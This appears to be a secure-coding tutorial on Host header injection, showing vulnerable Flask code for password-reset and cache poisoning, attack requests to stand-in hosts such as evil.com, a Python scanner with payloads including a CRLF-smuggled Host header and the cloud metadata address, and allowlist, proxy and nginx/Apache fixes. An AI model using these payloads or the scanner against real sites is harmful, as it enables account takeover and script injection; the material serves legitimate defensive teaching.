#Host Header Injection

pythonfrom flask import Flask, request, url_for
import smtplib
from email.message import EmailMessage

app = Flask(__name__)

@app.route('/password-reset', methods=['POST'])
def password_reset():
    email = request.form.get('email')

    # Generate reset token
    token = generate_reset_token(email)

    # VULNERABLE: Uses request host to build URL
    reset_link = url_for('reset_password', token=token, _external=True)
    # This uses the Host header from the request!
    # If attacker sends Host: evil.com, reset_link becomes:
    # https://evil.com/reset?token=abc123

    # Send email
    send_email(email, f"Reset your password: {reset_link}")

    return "Password reset email sent"

httpPOST /password-reset HTTP/1.1
Host: attacker-controlled.com
Content-Type: application/x-www-form-urlencoded

email=[email protected]

Generated Email:

textFrom: [email protected]
To: [email protected]
Subject: Password Reset

Click here to reset your password:
https://attacker-controlled.com/reset?token=SECRET_TOKEN_123

Best regards,
Company Security Team

Result: Victim clicks → Attacker gets token → Account compromised

python# Vulnerable Flask application
@app.route('/')
def index():
    # VULNERABLE: Uses request.host in cached response
    host = request.host

    html = f"""
    <!DOCTYPE html>
    <html>
    <head>
        <link rel="stylesheet" href="https://{host}/static/style.css">
        <script src="https://{host}/static/app.js"></script>
    </head>
    <body>
        <h1>Welcome to {host}</h1>
    </body>
    </html>
    """

    response = make_response(html)
    response.headers['Cache-Control'] = 'public, max-age=3600'  # Cached for 1 hour!

    return response

Attack:

httpGET / HTTP/1.1
Host: evil.com

Cached Response (served to ALL users for 1 hour):

html<!DOCTYPE html>
<html>
<head>
    <link rel="stylesheet" href="https://evil.com/static/style.css">
    <script src="https://evil.com/static/app.js"></script>
</head>
<body>
    <h1>Welcome to evil.com</h1>
</body>
</html>

Every user for the next hour loads attacker's JavaScript!

pythonimport requests
from urllib.parse import urlparse

def test_host_header_injection(target_url):
    """Test for Host header injection vulnerabilities"""

    parsed = urlparse(target_url)
    legit_host = parsed.netloc

    test_payloads = [
        # Direct host manipulation
        'evil.com',
        'attacker.com',
        'localhost',
        '127.0.0.1',

        # Subdomain tricks
        f'{legit_host}.evil.com',
        f'evil.{legit_host}',

        # Port manipulation
        f'{legit_host}:22',
        f'{legit_host}:6379',

        # Cloud metadata
        '169.254.169.254',

        # Multiple hosts
        f'{legit_host}\r\nHost: evil.com',
    ]

    related_headers = [
        'X-Forwarded-Host',
        'X-Host',
        'X-Original-Host',
        'X-Forwarded-Server',
        'X-HTTP-Host-Override',
        'Forwarded'
    ]

    vulnerabilities = []

    print(f"[*] Testing {target_url} for Host header injection...")

    # Test direct Host header manipulation
    for payload in test_payloads:
        try:
            headers = {'Host': payload}
            response = requests.get(target_url, headers=headers, timeout=5, allow_redirects=False)

            # Check if payload appears in response
            if payload in response.text or payload in response.headers.get('Location', ''):
                vulnerabilities.append({
                    'type': 'Host Header Reflection',
                    'payload': payload,
                    'severity': 'HIGH',
                    'location': 'Response body or Location header'
                })
                print(f"[!] VULNERABLE: Host '{payload}' reflected in response!")

            # Check for SSRF indicators
            if response.status_code in [500, 502, 503, 504]:
                vulnerabilities.append({
                    'type': 'Possible SSRF',
                    'payload': payload,
                    'severity': 'MEDIUM',
                    'note': f'Status code {response.status_code} - might indicate backend request'
                })
                print(f"[!] Possible SSRF: Status {response.status_code} with Host: {payload}")

        except requests.exceptions.RequestException as e:
            print(f"[-] Error testing Host: {payload} - {e}")

    # Test related headers
    for header in related_headers:
        for payload in ['evil.com', 'attacker.com']:
            try:
                headers = {
                    'Host': legit_host,
                    header: payload
                }
                response = requests.get(target_url, headers=headers, timeout=5)

                if payload in response.text:
                    vulnerabilities.append({
                        'type': f'{header} Injection',
                        'payload': payload,
                        'severity': 'HIGH',
                        'header': header
                    })
                    print(f"[!] VULNERABLE: {header}: {payload} reflected in response!")

            except requests.exceptions.RequestException:
                pass

    return vulnerabilities

# Test password reset specifically
def test_password_reset(reset_url, email):
    """Test password reset for Host header injection"""
    print(f"\n[*] Testing password reset: {reset_url}")

    payloads = ['evil.com', 'attacker-controlled.com']

    for payload in payloads:
        try:
            response = requests.post(
                reset_url,
                headers={'Host': payload},
                data={'email': email},
                timeout=5
            )

            print(f"[*] Triggered reset with Host: {payload}")
            print(f"    Status: {response.status_code}")
            print(f"    Check email for poisoned link containing: {payload}")

        except requests.exceptions.RequestException as e:
            print(f"[-] Error: {e}")

# Run tests
vulns = test_host_header_injection('https://example.com/')

if vulns:
    print(f"\n[!] Found {len(vulns)} Host header injection vulnerabilities!")
    for vuln in vulns:
        print(f"  [{vuln['severity']}] {vuln['type']}: {vuln['payload']}")
else:
    print("\n[+] No Host header injection vulnerabilities detected")

# Test password reset
test_password_reset('https://example.com/password-reset', '[email protected]')

http# Burp Suite Intruder - Test Host header variations

GET / HTTP/1.1
Host: §evil.com§
User-Agent: Mozilla/5.0
Accept: */*

# Payloads:
evil.com
attacker.com
localhost
127.0.0.1
legitimate-site.com.evil.com
169.254.169.254
[::1]
0.0.0.0

Burp Collaborator:

http# Use Burp Collaborator to detect out-of-band interactions

GET / HTTP/1.1
Host: burpcollaborator.net
X-Forwarded-Host: burpcollaborator.net

# If application makes requests to your Collaborator domain,
# you've confirmed SSRF or external interaction

pythonfrom flask import Flask, request
import os

app = Flask(__name__)

# SECURE: Load base URL from configuration, not request
APP_BASE_URL = os.getenv('APP_BASE_URL', 'https://legitimate-site.com')

# Validate it's a proper URL
from urllib.parse import urlparse
parsed = urlparse(APP_BASE_URL)
if not parsed.scheme or not parsed.netloc:
    raise ValueError("Invalid APP_BASE_URL configuration")

@app.route('/password-reset', methods=['POST'])
def password_reset():
    email = request.form.get('email')

    token = generate_reset_token(email)

    # SECURE: Use configured base URL, NOT request.host
    reset_link = f"{APP_BASE_URL}/reset?token={token}"

    send_email(email, f"Reset your password: {reset_link}")

    return "Password reset email sent"

# Attack with Host: evil.com will NOT work
# reset_link will always be: https://legitimate-site.com/reset?token=...

javascriptconst express = require('express');
const app = express();

// SECURE: Load from environment configuration
const APP_BASE_URL = process.env.APP_BASE_URL || 'https://legitimate-site.com';

// Validate base URL
const url = new URL(APP_BASE_URL);
if (!url.protocol || !url.hostname) {
  throw new Error('Invalid APP_BASE_URL configuration');
}

app.post('/password-reset', (req, res) => {
  const email = req.body.email;
  const token = generateResetToken(email);

  // SECURE: Use configured URL
  const resetLink = `${APP_BASE_URL}/reset?token=${token}`;

  sendEmail(email, `Reset your password: ${resetLink}`);

  res.send('Password reset email sent');
});

.env# Production configuration
APP_BASE_URL=https://legitimate-site.com
ALLOWED_HOSTS=legitimate-site.com,www.legitimate-site.com

.env# Development configuration
APP_BASE_URL=http://localhost:3000
ALLOWED_HOSTS=localhost,127.0.0.1

#2. Validate Host Header with Allowlist

ESSENTIAL

pythonfrom flask import Flask, request, abort

app = Flask(__name__)

# SECURE: Strict allowlist of valid hosts
ALLOWED_HOSTS = [
    'legitimate-site.com',
    'www.legitimate-site.com',
    'api.legitimate-site.com'
]

@app.before_request
def validate_host():
    """Validate Host header on every request"""

    host = request.headers.get('Host', '')

    # Remove port if present
    if ':' in host:
        host = host.split(':')[0]

    # Check against allowlist (exact match only!)
    if host not in ALLOWED_HOSTS:
        app.logger.warning(f"Invalid Host header: {host} from IP: {request.remote_addr}")
        abort(400, "Invalid Host header")

# Now ALL requests are protected
# Attack with Host: evil.com → 400 Bad Request

#3. Ignore Untrusted Headers

DEFENSE IN DEPTH

python# SECURE: Ignore X-Forwarded-Host and similar headers

@app.before_request
def remove_untrusted_headers():
    """Remove headers that could override Host"""

    untrusted_headers = [
        'X-Forwarded-Host',
        'X-Host',
        'X-Original-Host',
        'X-Forwarded-Server',
        'X-HTTP-Host-Override',
        'Forwarded'
    ]

    for header in untrusted_headers:
        if header in request.headers:
            # Only trust these if behind trusted proxy
            if not request_from_trusted_proxy():
                request.headers.environ.pop(f'HTTP_{header.upper().replace("-", "_")}', None)

def request_from_trusted_proxy():
    """Check if request is from trusted proxy/CDN"""
    TRUSTED_PROXIES = [
        '192.168.1.1',  # Your reverse proxy
        '10.0.0.0/8',   # Internal network
        # Cloudflare IPs, etc.
    ]

    # Implement IP range checking
    return request.remote_addr in TRUSTED_PROXIES

#4. Comprehensive Security Implementation

pythonfrom flask import Flask, request, abort, make_response
import os
import logging
from urllib.parse import urlparse
from ipaddress import ip_address, ip_network

app = Flask(__name__)

# Configuration
APP_BASE_URL = os.getenv('APP_BASE_URL', 'https://legitimate-site.com')
ALLOWED_HOSTS = os.getenv('ALLOWED_HOSTS', 'legitimate-site.com').split(',')
TRUSTED_PROXIES = ['192.168.1.1', '10.0.0.0/8']

# Logging
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)

class HostHeaderValidator:
    """Validates and sanitizes Host header"""

    def __init__(self, allowed_hosts, base_url):
        self.allowed_hosts = [h.strip() for h in allowed_hosts]
        self.base_url = base_url

        # Validate configuration
        parsed = urlparse(self.base_url)
        if not parsed.scheme or not parsed.netloc:
            raise ValueError("Invalid base URL configuration")

    def validate_host(self, host):
        """Validate Host header against allowlist"""

        if not host:
            return False

        # Remove port
        if ':' in host:
            host = host.rsplit(':', 1)[0]

        # Exact match only (no substring matching!)
        return host in self.allowed_hosts

    def get_base_url(self):
        """Get configured base URL (never from request!)"""
        return self.base_url

# Initialize validator
host_validator = HostHeaderValidator(ALLOWED_HOSTS, APP_BASE_URL)

@app.before_request
def security_checks():
    """Perform security checks on every request"""

    # 1. Validate Host header
    host = request.headers.get('Host', '')

    if not host_validator.validate_host(host):
        logger.warning(
            f"Invalid Host header blocked: {host} "
            f"from IP: {request.remote_addr} "
            f"Path: {request.path}"
        )
        abort(400, "Invalid Host header")

    # 2. Remove untrusted headers (if not from trusted proxy)
    if not is_trusted_proxy(request.remote_addr):
        remove_untrusted_headers()

def is_trusted_proxy(ip):
    """Check if IP is from trusted proxy"""
    try:
        client_ip = ip_address(ip)

        for trusted in TRUSTED_PROXIES:
            if '/' in trusted:  # CIDR range
                if client_ip in ip_network(trusted):
                    return True
            else:  # Single IP
                if client_ip == ip_address(trusted):
                    return True

        return False
    except ValueError:
        return False

def remove_untrusted_headers():
    """Remove headers that could override Host"""
    untrusted = [
        'X-Forwarded-Host',
        'X-Host',
        'X-Original-Host',
        'X-Forwarded-Server',
        'X-HTTP-Host-Override'
    ]

    for header in untrusted:
        request.headers.environ.pop(
            f'HTTP_{header.upper().replace("-", "_")}',
            None
        )

@app.route('/password-reset', methods=['POST'])
def password_reset():
    """Secure password reset"""

    email = request.form.get('email')

    # Validate email
    if not email or '@' not in email:
        return "Invalid email", 400

    # Generate token
    token = generate_reset_token(email)

    # SECURE: Use configured base URL
    reset_link = f"{host_validator.get_base_url()}/reset?token={token}"

    # Send email
    send_email(email, f"Reset link: {reset_link}")

    logger.info(f"Password reset sent to {email}")

    return "Password reset email sent"

@app.route('/')
def index():
    """Homepage with secure asset URLs"""

    # SECURE: All URLs use configured base
    base = host_validator.get_base_url()

    html = f"""
    <!DOCTYPE html>
    <html>
    <head>
        <link rel="stylesheet" href="{base}/static/style.css">
        <script src="{base}/static/app.js"></script>
    </head>
    <body>
        <h1>Welcome</h1>
    </body>
    </html>
    """

    response = make_response(html)

    # Prevent caching of personalized content
    response.headers['Cache-Control'] = 'private, no-cache, no-store, must-revalidate'
    response.headers['Vary'] = 'Cookie, Authorization'

    return response

@app.after_request
def security_headers(response):
    """Add security headers"""

    response.headers['X-Content-Type-Options'] = 'nosniff'
    response.headers['X-Frame-Options'] = 'DENY'
    response.headers['X-XSS-Protection'] = '1; mode=block'
    response.headers['Strict-Transport-Security'] = 'max-age=31536000; includeSubDomains'

    return response

pythonimport os

class Config:
    """Application configuration"""

    # Base URL - NEVER use from request!
    APP_BASE_URL = os.getenv('APP_BASE_URL', 'https://legitimate-site.com')

    # Allowed hosts
    ALLOWED_HOSTS = os.getenv('ALLOWED_HOSTS', 'legitimate-site.com,www.legitimate-site.com').split(',')

    # Trusted proxies (IP addresses or CIDR ranges)
    TRUSTED_PROXIES = [
        '192.168.1.1',     # Reverse proxy
        '10.0.0.0/8',      # Internal network
        '172.16.0.0/12',   # Internal network
    ]

    # Security settings
    SESSION_COOKIE_SECURE = True
    SESSION_COOKIE_HTTPONLY = True
    SESSION_COOKIE_SAMESITE = 'Lax'

    # Logging
    LOG_LEVEL = 'INFO'
    LOG_INVALID_HOSTS = True

#5. Web Server Configuration

nginx# Nginx configuration to validate Host header

server {
    listen 443 ssl;
    server_name legitimate-site.com www.legitimate-site.com;

    # Reject requests with invalid Host header
    if ($host !~* ^(legitimate-site\.com|www\.legitimate-site\.com)$) {
        return 444;  # Close connection without response
    }

    # Don't trust X-Forwarded-Host from clients
    proxy_set_header X-Forwarded-Host "";

    # Only set X-Forwarded-Host from this reverse proxy
    proxy_set_header X-Forwarded-Host $host;

    location / {
        proxy_pass http://app_backend;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
    }
}

# Catch-all server block for invalid hosts
server {
    listen 443 ssl default_server;
    server_name _;

    # Use self-signed cert for invalid hosts
    ssl_certificate /etc/nginx/ssl/default.crt;
    ssl_certificate_key /etc/nginx/ssl/default.key;

    # Return error for any request with invalid Host
    return 444;
}

apache# Apache configuration for Host header validation

<VirtualHost *:443>
    ServerName legitimate-site.com
    ServerAlias www.legitimate-site.com

    # Remove X-Forwarded-Host from client requests
    RequestHeader unset X-Forwarded-Host

    # Set X-Forwarded-Host from this reverse proxy
    RequestHeader set X-Forwarded-Host "%{HTTP_HOST}e"

    ProxyPass / http://app_backend:8000/
    ProxyPassReverse / http://app_backend:8000/

    # Security headers
    Header always set X-Content-Type-Options "nosniff"
    Header always set X-Frame-Options "DENY"
</VirtualHost>

# Default catch-all virtual host for invalid hosts
<VirtualHost *:443>
    ServerName _

    # Deny all requests to invalid hosts
    <Location />
        Require all denied
    </Location>
</VirtualHost>